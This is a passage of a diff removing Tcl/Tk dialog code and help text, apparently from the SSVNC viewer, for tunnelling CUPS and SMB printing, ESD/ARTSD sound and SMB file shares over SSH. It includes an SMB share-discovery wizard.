- As noted above, you may need to restart applications for them to notice
- the new printers or for them to revert to the original printers. If this
- is not acceptable, consider Method #2 below if you have the permission
- and ability to alter the print queues for this.
-
-
- *************************************************************************
- *** Method #1: Manually create or edit the file $HOME/.cups/client.conf
- on the VNC server side by putting in something like this in it:
-
- ServerName localhost:6631
-
- based on the port you set in this dialog's entry box.
-
- After the remote VNC Connection is finished, to go back to the non-SSH
- tunnelled CUPS server and either remove the client.conf file or comment
- out the ServerName line. This restores the normal CUPS server for
- you on the remote VNC server machine.
-
- Select "Manage 'ServerName' in the $HOME/.cups/client.conf file for me"
- to do this editing of the VNC server-side CUPS config file for you
- automatically. NOTE: It is now on by default (deselect it if you want
- to manage the file manually; e.g. you print through the tunnel only very
- rarely, or often print locally when the tunnel is up, etc.)
-
- Select "Pass -env FD_CUPS=<Port> to x11vnc command line" if you are
- starting x11vnc as the Remote SSH Command, and x11vnc is running in
- -create mode (i.e. FINDCREATEDISPLAY). That way, when your X session
- is created IPP_PORT will be set correctly for the entire session.
- This is the mode used for 'Terminal Services' printing.
-
- NOTE: You probably would never select both of the above two options
- at the same time, since they conflict with each other to some degree.
-
-
- *************************************************************************
- *** Method #2: If you have admin permission on the VNC Server machine
- you can likely "Add a Printer" via a GUI dialog, a Wizard, CUPS Web
- interface (i.e. http://localhost:631/), lpadmin(8), etc.
-
- You will need to tell the dialog that the network printer located
- is at, e.g., localhost:6631, and anything else needed to identify
- the printer (type, model, etc). NOTE: sometimes it is best to set
- the model/type as "Generic / Postscript Printer" to avoid problems
- with garbage being printed out.
-
- For the URI to use, we have successfully used ones like this with CUPS:
-
- http://localhost:6631/printers/Deskjet-3840
- ipp://localhost:6631/printers/Deskjet-3840
-
- for an HP Deskjet-3840 printer. See the CUPS documentation for more
- about the URI syntax and pathname.
-
- This mode makes the client.conf ServerName parameter unnecessary
- (BE SURE TO DISABLE the "Manage 'ServerName' ... for me" option.)
-
-
- *************************************************************************
- *** Method #3: Restarting individual applications with the IPP_PORT
- set will enable redirected printing for them, e.g.:
-
- env IPP_PORT=6631 firefox
-
- If you can only get this method to work, an extreme application would
- be to run the whole desktop, e.g. "env IPP_PORT=6631 gnome-session", but
- then you would need some sort of TCP redirector (ssh -L comes to mind),
- to direct it to 631 when not connected remotely.
-
-
- *************************************************************************
- *** Windows/SMB Printers: Under "Local SMB Print Server" you can set
- a port redirection for a Windows (non-CUPS) SMB printer. E.g. port
- 6632 -> localhost:139.
-
- If localhost:139 does not work, try the literal string "IP:139", or
- insert the actual IP address manually. NOTE: Nowadays on Windows port
- 445 might be a better choice.
-
- For Windows printers, if there is no local CUPS print server, set the
- 'Local CUPS Server' and 'Use Remote CUPS Port' to be EMPTY (to avoid
- desktop apps trying incessantly to reach the nonexistent CUPS server.)
-
- You must enable Sharing for your local Windows Printer. Use Windows
- Printer configuration dialogs to do this.
-
- Next, you need to have sudo or print admin permission so that you can
- configure the *remote* CUPS to know about this Windows printer via
- lpadmin(8) or GUI Printer Configuration dialog, etc (Method #2 above).
- You basically give it the URI:
-
- smb://localhost:6632/printername
-
- For example, we have had success with GNOME CUPS printing configuration
- using:
-
- smb://localhost:6632/HPOffice
- smb://localhost:6632/COMPUTERNAME/HPOffice
-
- where "HPOffice" was the name Windows shares the printer as.
-
- Also with this SMB port redir mode, as a last resort you can often print
- using the smbspool(8) program like this:
-
- smbspool smb://localhost:6632/printer job user title 1 "" myfile.ps
-
- You could put this in a script. For this URI, it appears only the number
- of copies ("1" above) and the file itself are important.
-
- If on the local (SSVNC viewer) side there is some nearby CUPS print server
- that knows about your Windows printer, you might have better luck with
- that instead of using SMB. Set 'Local CUPS Server' to it.
-
- For more info see: http://www.karlrunge.com/x11vnc/faq.html#faq-cups
-}
- .cups.f.t insert end $msg
-
- global uname
- set something_set 0
-
- if {$cups_local_server != ""} {
- set something_set 1
- }
- if {$cups_local_smb_server != ""} {
- set something_set 1
- }
-
- if {$cups_local_server == "" && ! $something_set} {
- if {$uname == "Darwin"} {
- set cups_local_server "127.0.0.1:631"
- } else {
- set cups_local_server "localhost:631"
- }
- }
- if {$cups_remote_port == "" && ! $something_set} {
- set cups_remote_port "6631"
- }
- if {$cups_local_smb_server == "" && ! $something_set} {
- global is_windows
- if {$is_windows} {
- set cups_local_smb_server "IP:139"
- } elseif {$uname == "Darwin"} {
- set cups_local_smb_server "127.0.0.1:139"
- } else {
- set cups_local_smb_server "localhost:139"
- }
- }
- if {$cups_remote_smb_port == "" && ! $something_set} {
- set cups_remote_smb_port "6632"
- }
-
- frame .cups.serv
- label .cups.serv.l -anchor w -text "Local CUPS Server: "
- entry .cups.serv.e -width 40 -textvariable cups_local_server
- pack .cups.serv.e -side right
- pack .cups.serv.l -side left -expand 1 -fill x
-
- frame .cups.port
- label .cups.port.l -anchor w -text "Use Remote CUPS Port:"
- entry .cups.port.e -width 40 -textvariable cups_remote_port
- pack .cups.port.e -side right
- pack .cups.port.l -side left -expand 1 -fill x
-
- frame .cups.smbs
- label .cups.smbs.l -anchor w -text "Local SMB Print Server: "
- entry .cups.smbs.e -width 40 -textvariable cups_local_smb_server
- pack .cups.smbs.e -side right
- pack .cups.smbs.l -side left -expand 1 -fill x
-
- frame .cups.smbp
- label .cups.smbp.l -anchor w -text "Use Remote SMB Print Port:"
- entry .cups.smbp.e -width 40 -textvariable cups_remote_smb_port
- pack .cups.smbp.e -side right
- pack .cups.smbp.l -side left -expand 1 -fill x
-
- checkbutton .cups.cupsrc -anchor w -variable cups_manage_rcfile -text \
- "Manage 'ServerName' in the remote \$HOME/.cups/client.conf file for me"
-
- checkbutton .cups.x11vnc -anchor w -variable cups_x11vnc -text \
- "Pass -env FD_CUPS=<Port> to x11vnc command line."
-
- button .cups.cancel -text "Cancel" -command {destroy .cups; set use_cups 0}
- bind .cups <Escape> {destroy .cups; set use_cups 0}
- wm protocol .cups WM_DELETE_WINDOW {destroy .cups; set use_cups 0}
- button .cups.done -text "Done" -command {destroy .cups; if {$use_cups} {set_ssh}}
-
- button .cups.guess -text "Help me decide ..." -command {}
- .cups.guess configure -state disabled
-
- pack .cups.done .cups.cancel .cups.guess .cups.x11vnc .cups.cupsrc .cups.smbp .cups.smbs .cups.port .cups.serv -side bottom -fill x
- pack .cups.f -side top -fill both -expand 1
-
- center_win .cups
- focus .cups.serv.e
-}
-
-proc ts_sound_dialog {} {
-
- global is_windows
- global ts_only
-
- toplev .snd
- wm title .snd "Sound Tunnelling"
-
- scroll_text .snd.f 80 21
-
- set msg {
- Your remote Desktop will be started in an Enlightenment Sound Daemon
- (ESD) environment (esddsp(1), which must be installed on the remote
- machine), and a local ESD sound daemon (esd(1)) will be started to
- play the sounds for you to hear.
-
- In the entry box below you can choose the port that the local esd
- will use to listen on. The default ESD port is 16001. You will
- need to choose different values if you will have more than one esd
- running locally.
-
- The command run (with port replaced by your choice) will be:
-
- %RCMD
-
- Note: Unfortunately not all applications work with ESD.
- And esd's LD_PRELOAD is broken on 64+32bit Linux (x86_64).
- And so this mode is not working well currently...
-
- For more info see: http://www.karlrunge.com/x11vnc/faq.html#faq-sound
-}
-
-
- global sound_daemon_remote_port sound_daemon_local_port sound_daemon_local_cmd
- global sound_daemon_local_start sound_daemon_local_kill
-
- set sound_daemon_local_start 1
- set sound_daemon_local_kill 1
-
- if {$sound_daemon_remote_port == ""} {
- set sound_daemon_remote_port 16010
- }
- if {$sound_daemon_local_port == ""} {
- set sound_daemon_local_port 16010
- }
-
- if {$sound_daemon_local_cmd == ""} {
- global is_windows
- if {$is_windows} {
- set sound_daemon_local_cmd {esound\esd -promiscuous -as 5 -port %PORT -tcp -bind 127.0.0.1}
- } else {
- set sound_daemon_local_cmd {esd -promiscuous -as 5 -port %PORT -tcp -bind 127.0.0.1}
- }
- }
- regsub {%PORT} $sound_daemon_local_cmd $sound_daemon_local_port sound_daemon_local_cmd
-
- regsub {%RCMD} $msg $sound_daemon_local_cmd msg
- .snd.f.t insert end $msg
-
- frame .snd.lport
- label .snd.lport.l -anchor w -text "Local Sound Port: "
- entry .snd.lport.e -width 45 -textvariable sound_daemon_local_port
- pack .snd.lport.e -side right
- pack .snd.lport.l -side left -expand 1 -fill x
-
- button .snd.cancel -text "Cancel" -command {destroy .snd; set use_sound 0}
- bind .snd <Escape> {destroy .snd; set use_sound 0}
- wm protocol .snd WM_DELETE_WINDOW {destroy .snd; set use_sound 0}
- button .snd.done -text "Done" -command {destroy .snd; if {$use_sound} {set_ssh}}
- bind .snd.lport.e <Return> {destroy .snd; if {$use_sound} {set_ssh}}
-
- pack .snd.done .snd.cancel .snd.lport -side bottom -fill x
- pack .snd.f -side bottom -fill both -expand 1
-
- center_win .snd
- focus .snd.lport.e
-}
-
-proc sound_dialog {} {
-
- global is_windows
- global ts_only
- if {$ts_only} {
- ts_sound_dialog;
- return
- }
-
- toplev .snd
- wm title .snd "ESD/ARTSD Sound Tunnelling"
-
- global uname
- set h 28
- if [small_height] {
- set h 14
- } elseif {$uname == "Darwin"} {
- set h 20
- }
- scroll_text .snd.f 80 $h
-
- set msg {
- Sound tunnelling to a sound daemon requires SSH be used to set up the
- service port redirection. This will be either of the "Use SSH" or
- "SSH+SSL" modes. NOTE: For pure SSL tunnelling it currently will not work.
-
- This method requires working Sound daemon (e.g. ESD or ARTSD) software
- setups on BOTH the remote and local sides of the connection.
-
- Often this means you want to run your ENTIRE remote desktop with ALL
- applications instructed to use the sound daemon's network port. E.g.
-
- esddsp -s localhost:16001 startkde
- esddsp -s localhost:16001 gnome-session
-
- and similarly for artsdsp, etc. You put this in your ~/.xession,
- or other startup file. This is non standard. If you do not want to
- do this you still can direct *individual* sound applications through
- the tunnel, for example "esddsp -s localhost:16001 soundapp", where
- "soundapp" is some application that makes noise (say xmms or mpg123).
-
- Select "Pass -env FD_ESD=<Port> to x11vnc command line." if you are
- starting x11vnc as the Remote SSH Command, and x11vnc is running in
- -create mode (i.e. FINDCREATEDISPLAY). That way, your X session is
- started via "esddsp -s ... <session>" and the ESD variables will be
- set correctly for the entire session. (This mode make most sense for
- a virtual, e.g. Xvfb or Xdummy session, not one a physical display).
-
- Also, usually the remote Sound daemon must be killed BEFORE the SSH port
- redir is established (because it is listening on the port we want to use
- for the SSH redir), and, presumably, restarted when the VNC connection
- finished.
-
- One may also want to start and kill a local sound daemon that will
- play the sound received over the network on the local machine.
-
- You can indicate the remote and local Sound daemon commands below and
- how they should be killed and/or restart. Some examples:
-
- esd -promiscuous -as 5 -port 16001 -tcp -bind 127.0.0.1
- artsd -n -p 7265 -F 10 -S 4096 -n -s 5 -m artsmessage -l 3 -f
-
- or you can leave some or all blank and kill/start them manually.
-
- For convenience, a Windows port of ESD is provided in the util/esound
- directory, and so this might work for a Local command:
-
- esound\esd -promiscuous -as 5 -port 16001 -tcp -bind 127.0.0.1
-
- NOTE: If you indicate "Remote Sound daemon: Kill at start." below,
- then THERE WILL BE TWO SSH'S: THE FIRST ONE TO KILL THE DAEMON.
- So you may need to supply TWO SSH PASSWORDS, unless you are using
- something like ssh-agent(1), the Putty PW setting, etc.
-
- You will also need to supply the remote and local sound ports for
- the SSH redirs. For esd the default port is 16001, but you can choose
- another one if you prefer.
-
- For "Local Sound Port" you can also supply "host:port" instead of just
- a numerical port to specify non-localhost connections, e.g. to another
- nearby machine.
-
- For more info see: http://www.karlrunge.com/x11vnc/faq.html#faq-sound
-}
- .snd.f.t insert end $msg
-
- global sound_daemon_remote_port sound_daemon_local_port sound_daemon_local_cmd
- if {$sound_daemon_remote_port == ""} {
- set sound_daemon_remote_port 16001
- }
- if {$sound_daemon_local_port == ""} {
- set sound_daemon_local_port 16001
- }
-
- if {$sound_daemon_local_cmd == ""} {
- global is_windows
- if {$is_windows} {
- set sound_daemon_local_cmd {esound\esd -promiscuous -as 5 -port %PORT -tcp -bind 127.0.0.1}
- } else {
- set sound_daemon_local_cmd {esd -promiscuous -as 5 -port %PORT -tcp -bind 127.0.0.1}
- }
- regsub {%PORT} $sound_daemon_local_cmd $sound_daemon_local_port sound_daemon_local_cmd
- }
-
-
- frame .snd.remote
- label .snd.remote.l -anchor w -text "Remote Sound daemon cmd: "
- entry .snd.remote.e -width 45 -textvariable sound_daemon_remote_cmd
- pack .snd.remote.e -side right
- pack .snd.remote.l -side left -expand 1 -fill x
-
- frame .snd.local
- label .snd.local.l -anchor w -text "Local Sound daemon cmd: "
- entry .snd.local.e -width 45 -textvariable sound_daemon_local_cmd
- pack .snd.local.e -side right
- pack .snd.local.l -side left -expand 1 -fill x
-
- frame .snd.rport
- label .snd.rport.l -anchor w -text "Remote Sound Port: "
- entry .snd.rport.e -width 45 -textvariable sound_daemon_remote_port
- pack .snd.rport.e -side right
- pack .snd.rport.l -side left -expand 1 -fill x
-
- frame .snd.lport
- label .snd.lport.l -anchor w -text "Local Sound Port: "
- entry .snd.lport.e -width 45 -textvariable sound_daemon_local_port
- pack .snd.lport.e -side right
- pack .snd.lport.l -side left -expand 1 -fill x
-
-
- checkbutton .snd.sdk -anchor w -variable sound_daemon_kill -text \
- "Remote Sound daemon: Kill at start."
-
- checkbutton .snd.sdr -anchor w -variable sound_daemon_restart -text \
- "Remote Sound daemon: Restart at end."
-
- checkbutton .snd.sdsl -anchor w -variable sound_daemon_local_start -text \
- "Local Sound daemon: Run at start."
-
- checkbutton .snd.sdkl -anchor w -variable sound_daemon_local_kill -text \
- "Local Sound daemon: Kill at end."
-
- checkbutton .snd.x11vnc -anchor w -variable sound_daemon_x11vnc -text \
- "Pass -env FD_ESD=<Port> to x11vnc command line."
-
- button .snd.guess -text "Help me decide ..." -command {}
- .snd.guess configure -state disabled
-
- global is_win9x
- if {$is_win9x} {
- .snd.local.e configure -state disabled
- .snd.local.l configure -state disabled
- .snd.sdsl configure -state disabled
- .snd.sdkl configure -state disabled
- }
-
- button .snd.cancel -text "Cancel" -command {destroy .snd; set use_sound 0}
- bind .snd <Escape> {destroy .snd; set use_sound 0}
- wm protocol .snd WM_DELETE_WINDOW {destroy .snd; set use_sound 0}
- button .snd.done -text "Done" -command {destroy .snd; if {$use_sound} {set_ssh}}
-
- pack .snd.done .snd.cancel .snd.guess .snd.x11vnc .snd.sdkl .snd.sdsl .snd.sdr .snd.sdk .snd.lport .snd.rport \
- .snd.local .snd.remote -side bottom -fill x
- pack .snd.f -side bottom -fill both -expand 1
-
- center_win .snd
- focus .snd.remote.e
-}
-
-# Share ideas.
-#
-# Unix:
-#
-# if type smbclient
-# first parse smbclient -L localhost -N
-# and/or smbclient -L `hostname` -N
-# Get Sharenames and Servers and Domain.
-#
-# loop over servers, doing smbclient -L server -N
-# pile this into a huge list, sep by disk and printers.
-#
-# WinXP:
-#
-# parse "NET VIEW" output similarly.
-#
-# Have checkbox for each disk. Set default root to /var/tmp/${USER}-mnts
-# Let them change that at once and have it populate.
-#
-# use //hostname/share /var/tmp/runge-mnts/hostname/share
-#
-#
-# Printers, hmmm. Can't add to remote cups list... I guess have the list
-# ready for CUPS dialog to suggest which SMB servers they want to redirect
-# to...
-
-proc get_hostname {} {
- global is_windows is_win9x
- set str ""
- if {$is_windows} {
- if {1} {
- catch {set str [exec hostname]}
- regsub -all {[\r]} $str "" str
- } else {
- catch {set str [exec net config]}
- if [regexp -nocase {Computer name[ \t]+\\\\([^ \t]+)} $str mv str] {
- ;
- } else {
- set str ""
- }
- }
- } else {
- catch {set str [exec hostname]}
- }
- set str [string trim $str]
- return $str
-}
-
-proc smb_list_windows {smbhost} {
- global smb_local smb_local_hosts smb_this_host
- global is_win9x
- set dbg 0
-
- set domain ""
-
- if {$is_win9x} {
- # exec net view ... doesn't work.
- set smb_this_host "unknown"
- return
- }
-
- set this_host [get_hostname]
- set This_host [string toupper $this_host]
- set smb_this_host $This_host
-
- if {$smbhost == $smb_this_host} {
- catch {set out0 [exec net view]}
- regsub -all {[\r]} $out0 "" out0
- foreach line [split $out0 "\n"] {
- if [regexp -nocase {in workgroup ([^ \t]+)} $line mv wg] {
- regsub -all {[.]} $wg "" wg
- set domain $wg
- } elseif [regexp {^\\\\([^ \t]+)[ \t]*(.*)} $line mv host comment] {
- set smb_local($smbhost:server:$host) $comment
- }
- }
- }
-
- set out1 ""
- set h "\\\\$smbhost"
- catch {set out1 [exec net view $h]}
- regsub -all {[\r]} $out1 "" out1
-
- if {$dbg} {puts "SMBHOST: $smbhost"}
-
- set mode ""
- foreach line [split $out1 "\n"] {
- if [regexp {^[ \t]*---} $line] {
- continue
- }
- if [regexp -nocase {The command} $line] {
- continue
- }
- if [regexp -nocase {Shared resources} $line] {
- continue
- }
- if [regexp -nocase {^[ \t]*Share[ \t]*name} $line] {
- set mode "shares"
- continue
- }
- set line [string trim $line]
- if {$line == ""} {
- continue
- }
- if {$mode == "shares"} {
- if [regexp {^([^ \t]+)[ \t]+([^ \t]+)[ \t]*(.*)$} $line mv name type comment] {
- if {$dbg} {
- puts "SHR: $name"
- puts "---: $type"
- puts "---: $comment"
- }
- if [regexp -nocase {^Disk$} $type] {
- set smb_local($smbhost:disk:$name) $comment
- } elseif [regexp -nocase {^Print} $type] {
- set smb_local($smbhost:printer:$name) $comment
- }
- }
- }
- }
-
- set smb_local($smbhost:domain) $domain
-}
-
-proc smb_list_unix {smbhost} {
- global smb_local smb_local_hosts smb_this_host
- set smbclient [in_path smbclient]
- if {[in_path smbclient] == ""} {
- return ""
- }
- set dbg 0
-
- set this_host [get_hostname]
- set This_host [string toupper $this_host]
- set smb_this_host $This_host
-
- set out1 ""
- catch {set out1 [exec smbclient -N -L $smbhost 2>@ stdout]}
-
- if {$dbg} {puts "SMBHOST: $smbhost"}
- if {$smbhost == $this_host || $smbhost == $This_host} {
- if {$out1 == ""} {
- catch {set out1 [exec smbclient -N -L localhost 2>@ stdout]}
- }
- }
-
- set domain ""
- set mode ""
- foreach line [split $out1 "\n"] {
- if [regexp {^[ \t]*---} $line] {
- continue
- }
- if [regexp {Anonymous login} $line] {
- continue
- }
- if {$domain == "" && [regexp {Domain=\[([^\]]+)\]} $line mv domain]} {
- if {$dbg} {puts "DOM: $domain"}
- continue
- }
- if [regexp {^[ \t]*Sharename} $line] {
- set mode "shares"
- continue
- }
- if [regexp {^[ \t]*Server} $line] {
- set mode "server"
- continue
- }
- if [regexp {^[ \t]*Workgroup} $line] {
- set mode "workgroup"
- continue
- }
- set line [string trim $line]
- if {$mode == "shares"} {
- if [regexp {^([^ \t]+)[ \t]+([^ \t]+)[ \t]*(.*)$} $line mv name type comment] {
- if {$dbg} {
- puts "SHR: $name"
- puts "---: $type"
- puts "---: $comment"
- }
- if [regexp -nocase {^Disk$} $type] {
- set smb_local($smbhost:disk:$name) $comment
- } elseif [regexp -nocase {^Printer$} $type] {
- set smb_local($smbhost:printer:$name) $comment
- }
- }
- } elseif {$mode == "server"} {
- if [regexp {^([^ \t]+)[ \t]*(.*)$} $line mv host comment] {
- if {$dbg} {
- puts "SVR: $host"
- puts "---: $comment"
- }
- set smb_local($smbhost:server:$host) $comment
- }
- } elseif {$mode == "workgroup"} {
- if [regexp {^([^ \t]+)[ \t]+(.*)$} $line mv work host] {
- if {$dbg} {
- puts "WRK: $work"
- puts "---: $host"
- }
- if {$host != ""} {
- set smb_local($smbhost:master:$work) $host
- }
- }
- }
- }
-
- set smb_local($smbhost:domain) $domain
-}
-
-proc smb_list {} {
- global is_windows smb_local smb_local_hosts
- global smb_host_list
-
- set smb_local(null) ""
-
- if {! [info exists smb_host_list]} {
- set smb_host_list ""
- }
- if [info exists smb_local] {
- unset smb_local
- }
- if [info exists smb_local_hosts] {
- unset smb_local_hosts
- }
-
- set this_host [get_hostname]
- set this_host [string toupper $this_host]
- if {$is_windows} {
- smb_list_windows $this_host
- } else {
- smb_list_unix $this_host
- }
- set did($this_host) 1
- set keys [array names smb_local]
- foreach item [split $smb_host_list] {
- if {$item != ""} {
- set item [string toupper $item]
- lappend keys "$this_host:server:$item"
- }
- }
- foreach key $keys {
- if [regexp "^$this_host:server:(.*)\$" $key mv host] {
- if {$host == ""} {
- continue
- }
- set smb_local_hosts($host) 1
- if {! [info exists did($host)]} {
- if {$is_windows} {
- smb_list_windows $host
- } else {
- smb_list_unix $host
- }
- set did($host) 1
- }
- }
- }
-}
-
-proc smb_check_selected {} {
- global smbmount_exists smbmount_sumode
- global smb_selected smb_selected_mnt smb_selected_cb smb_selected_en
-
- set ok 0
- if {$smbmount_exists && $smbmount_sumode != "dontknow"} {
- set ok 1
- }
- set state disabled
- if {$ok} {
- set state normal
- }
-
- foreach cb [array names smb_selected_cb] {
- catch {$cb configure -state $state}
- }
- foreach en [array names smb_selected_en] {
- catch {$en configure -state $state}
- }
-}
-
-proc make_share_widgets {w} {
-
- set share_label $w.f.hl
- catch {$share_label configure -text "Share Name: PROBING ..."}
- update
-
- smb_list
-
- set saw_f 0
- foreach child [winfo children $w] {
- if {$child == "$w.f"} {
- set saw_f 1
- continue
- }
- catch {destroy $child}
- }
-
- set w1 47
- set w2 44
-
- if {! $saw_f} {
- set wf $w.f
- frame $wf
- label $wf.hl -width $w1 -text "Share Name:" -anchor w
- label $wf.hr -width $w2 -text " Mount Point:" -anchor w
-
- pack $wf.hl $wf.hr -side left -expand 1
- pack $wf -side top -fill x
-
- .smbwiz.f.t window create end -window $w
- }
-
- global smb_local smb_local_hosts smb_this_host smb_selected smb_selected_mnt
- global smb_selected_host smb_selected_name
- global smb_selected_cb smb_selected_en
- global smb_host_list
- if [info exists smb_selected] {array unset smb_selected }
- if [info exists smb_selected_mnt] {array unset smb_selected_mnt}
- if [info exists smb_selected_cb] {array unset smb_selected_cb}
- if [info exists smb_selected_en] {array unset smb_selected_en}
- if [info exists smb_selected_host] {array unset smb_selected_host}
- if [info exists smb_selected_name] {array unset smb_selected_name}
-
- set hosts [list $smb_this_host]
- lappend hosts [lsort [array names smb_local_hosts]]
-
- set smb_host_list ""
- set i 0
-
- global smb_mount_prefix
- set smb_mount_prefix "/var/tmp/%USER-mnts"
-
- foreach host [lsort [array names smb_local_hosts]] {
-
- if [info exists did($host)] {
- continue
- }
- set did($host) 1
-
- append smb_host_list "$host "
-
- foreach key [lsort [array names smb_local]] {
- if [regexp {^([^:]+):([^:]+):(.*)$} $key mv host2 type name] {
- if {$host2 != $host} {
- continue
- }
- if {$type != "disk"} {
- continue
- }
- set wf $w.f$i
- frame $wf
- checkbutton $wf.c -anchor w -width $w1 -variable smb_selected($i) \
- -text "//$host/$name" -relief ridge
- if {! [info exists smb_selected($i)]} {
- set smb_selected($i) 0
- }
-
- entry $wf.e -width $w2 -textvariable smb_selected_mnt($i)
- set smb_selected_mnt($i) "$smb_mount_prefix/$host/$name"
-
- set smb_selected_host($i) $host
- set smb_selected_name($i) $name
-
- set smb_selected_cb($wf.c) $i
- set smb_selected_en($wf.e) $i
- set comment $smb_local($key)
-
- bind $wf.c <Enter> "$share_label configure -text {Share Name: $comment}"
- bind $wf.c <Leave> "$share_label configure -text {Share Name:}"
-
- $wf.c configure -state disabled
- $wf.e configure -state disabled
-
- pack $wf.c $wf.e -side left -expand 1
- pack $wf -side top -fill x
- incr i
- }
- }
- }
- if {$i == 0} {
- global is_win9x
- $share_label configure -text {Share Name: No SMB Share Hosts were found!}
- if {$is_win9x} {
- .smbwiz.f.t insert end "\n(this feature does not work on Win9x you have have to enter them manually: //HOST/share /var/tmp/mymnt)\n"
- }
- } else {
- $share_label configure -text "Share Name: Found $i SMB Shares"
- }
- smb_check_selected
-}
-
-proc smb_help_me_decide {} {
- global is_windows
- global smb_local smb_local_hosts smb_this_host smb_selected smb_selected_mnt
- global smb_selected_host smb_selected_name
- global smb_selected_cb smb_selected_en
- global smb_host_list
-
- toplev .smbwiz
- set title "SMB Filesystem Tunnelling -- Help Me Decide"
- wm title .smbwiz $title
- set id " "
-
- set h 40
- if [small_height] {
- set h 30
- }
- scroll_text .smbwiz.f 100 $h
-
- set msg {
-For now you will have to verify the following information manually.
-
-You can do this by either logging into the remote machine to find the info or asking the sysadmin for it.
-
-}
-
- if {! $is_windows} {
- .smbwiz.f.t configure -font {Helvetica -12 bold}
- }
- .smbwiz.f.t insert end $msg
-
- set w .smbwiz.f.t.f1
- frame $w -bd 1 -relief ridge -cursor {top_left_arrow}
-
- .smbwiz.f.t insert end "\n"
-
- .smbwiz.f.t insert end "1) Indicate the existence of the 'smbmount' command on the remote system:\n"
- .smbwiz.f.t insert end "\n$id"
- global smbmount_exists
- set smbmount_exists 0
-
- checkbutton $w.smbmount_exists -pady 1 -anchor w -variable smbmount_exists \
- -text "Yes, the 'smbmount' command exists on the remote system." \
- -command smb_check_selected
-
- pack $w.smbmount_exists
- .smbwiz.f.t window create end -window $w
-
- .smbwiz.f.t insert end "\n\n\n"
-
- set w .smbwiz.f.t.f2
- frame $w -bd 1 -relief ridge -cursor {top_left_arrow}
-
- .smbwiz.f.t insert end "2) Indicate your authorization to run 'smbmount' on the remote system:\n"
- .smbwiz.f.t insert end "\n$id"
- global smbmount_sumode
- set smbmount_sumode "dontknow"
-
- radiobutton $w.dk -pady 1 -anchor w -variable smbmount_sumode -value dontknow \
- -text "I do not know if I can mount SMB shares on the remote system via 'smbmount'" \
- -command smb_check_selected
- pack $w.dk -side top -fill x
-
- radiobutton $w.su -pady 1 -anchor w -variable smbmount_sumode -value su \
- -text "I know the Password to run commands as root on the remote system via 'su'" \
- -command smb_check_selected
- pack $w.su -side top -fill x
-
- radiobutton $w.sudo -pady 1 -anchor w -variable smbmount_sumode -value sudo \
- -text "I know the Password to run commands as root on the remote system via 'sudo'" \
- -command smb_check_selected
- pack $w.sudo -side top -fill x
-
- radiobutton $w.ru -pady 1 -anchor w -variable smbmount_sumode -value none \
- -text "I do not need to be root on the remote system to mount SMB shares via 'smbmount'" \
- -command smb_check_selected
- pack $w.ru -side top -fill x
-
- .smbwiz.f.t window create end -window $w
-
- global smb_wiz_done
- set smb_wiz_done 0
-
- button .smbwiz.cancel -text "Cancel" -command {set smb_wiz_done 1}
- button .smbwiz.done -text "Done" -command {set smb_wiz_done 1}
- pack .smbwiz.done -side bottom -fill x
- pack .smbwiz.f -side top -fill both -expand 1
-
- wm protocol .smbwiz WM_DELETE_WINDOW {set smb_wiz_done 1}
- center_win .smbwiz
-
- wm title .smbwiz "Searching for Local SMB shares..."
- update
- wm title .smbwiz $title
-
- global smb_local smb_this_host
- .smbwiz.f.t insert end "\n\n\n"
-
- set w .smbwiz.f.t.f3
- catch {destroy $w}
- frame $w -bd 1 -relief ridge -cursor {top_left_arrow}
-
- .smbwiz.f.t insert end "3) Select SMB shares to mount and their mount point on the remote system:\n"
- .smbwiz.f.t insert end "\n${id}"
-
- make_share_widgets $w
-
- .smbwiz.f.t insert end "\n(%USER will be expanded to the username on the remote system and %HOME the home directory)\n"
-
- .smbwiz.f.t insert end "\n\n\n"
-
- .smbwiz.f.t insert end "You can change the list of Local SMB hosts to probe and the mount point prefix here:\n"
- .smbwiz.f.t insert end "\n$id"
- set w .smbwiz.f.t.f4
- frame $w -bd 1 -relief ridge -cursor {top_left_arrow}
- set wf .smbwiz.f.t.f4.f
- frame $wf
- label $wf.l -text "SMB Hosts: " -anchor w
- entry $wf.e -textvariable smb_host_list -width 60
- button $wf.b -text "Apply" -command {make_share_widgets .smbwiz.f.t.f3}
- bind $wf.e <Return> "$wf.b invoke"
- pack $wf.l $wf.e $wf.b -side left
- pack $wf
- pack $w
-
- .smbwiz.f.t window create end -window $w
-
- .smbwiz.f.t insert end "\n$id"
-
- set w .smbwiz.f.t.f5
- frame $w -bd 1 -relief ridge -cursor {top_left_arrow}
- set wf .smbwiz.f.t.f5.f
- frame $wf
- label $wf.l -text "Mount Prefix:" -anchor w
- entry $wf.e -textvariable smb_mount_prefix -width 60
- button $wf.b -text "Apply" -command {apply_mount_point_prefix .smbwiz.f.t.f5.f.e}
- bind $wf.e <Return> "$wf.b invoke"
- pack $wf.l $wf.e $wf.b -side left
- pack $wf
- pack $w
-
- .smbwiz.f.t window create end -window $w
-
- .smbwiz.f.t insert end "\n\n\n"
-
- .smbwiz.f.t see 1.0
- .smbwiz.f.t configure -state disabled
- update
-
- vwait smb_wiz_done
- catch {destroy .smbwiz}
-
- if {! $smbmount_exists || $smbmount_sumode == "dontknow"} {
- tk_messageBox -type ok -parent .oa -icon warning -message "Sorry we couldn't help out!\n'smbmount' info on the remote system is required for SMB mounting" -title "SMB mounting -- aborting"
- global use_smbmnt
- set use_smbmnt 0
- catch {raise .oa}
- return
- }
- global smb_su_mode
- set smb_su_mode $smbmount_sumode
-
- set max 0
- foreach en [array names smb_selected_en] {
- set i $smb_selected_en($en)
- set host $smb_selected_host($i)
- set name $smb_selected_name($i)
-
- set len [string length "//$host/$name"]
- if {$len > $max} {
- set max $len
- }
- }
-
- set max [expr $max + 8]
-
- set strs ""
- foreach en [array names smb_selected_en] {
- set i $smb_selected_en($en)
- if {! $smb_selected($i)} {
- continue
- }
- set host $smb_selected_host($i)
- set name $smb_selected_name($i)
- set mnt $smb_selected_mnt($i)
-
- set share "//$host/$name"
- set share [format "%-${max}s" $share]
-
- lappend strs "$share $mnt"
- }
- set text ""
- foreach str [lsort $strs] {
- append text "$str\n"
- }
-
- global smb_mount_list
- set smb_mount_list $text
-
- smb_dialog
-}
-
-proc apply_mount_point_prefix {w} {
- global smb_selected_host smb_selected_name
- global smb_selected_en smb_selected_mnt
-
- set prefix ""
- catch {set prefix [$w get]}
- if {$prefix == ""} {
- mesg "No mount prefix."
- bell
- return
- }
-
- foreach en [array names smb_selected_en] {
- set i $smb_selected_en($en)
- set host $smb_selected_host($i)
- set name $smb_selected_name($i)
- set smb_selected_mnt($i) "$prefix/$host/$name"
- }
-}
-
-proc smb_dialog {} {
- toplev .smb
- wm title .smb "SMB Filesystem Tunnelling"
